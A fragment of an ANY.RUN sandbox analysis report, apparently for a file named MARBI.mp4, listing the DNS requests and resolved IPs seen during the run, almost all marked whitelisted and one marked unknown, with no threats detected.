whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 51.124.78.146
whitelisted
crl.microsoft.com
  • 2.19.11.120
  • 2.19.11.105
whitelisted
www.microsoft.com
  • 88.221.169.152
whitelisted
google.com
  • 172.217.23.110
whitelisted
www.bing.com
  • 2.23.209.150
  • 2.23.209.185
  • 2.23.209.149
  • 2.23.209.182
  • 2.23.209.176
  • 2.23.209.177
  • 2.23.209.179
  • 2.23.209.148
  • 2.23.209.140
whitelisted
ocsp.digicert.com
  • 192.229.221.95
whitelisted
go.microsoft.com
  • 184.28.89.167
whitelisted
yxyz.zyxy.org
  • 104.21.25.207
  • 172.67.134.167
unknown
c.pki.goog
  • 142.250.186.99
whitelisted
login.live.com
  • 40.126.32.76
  • 40.126.32.133
  • 40.126.32.140
  • 40.126.32.134
  • 20.190.160.20
  • 40.126.32.136
  • 40.126.32.74
  • 20.190.160.22
whitelisted

Threats

No threats detected
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
MARBI.mp4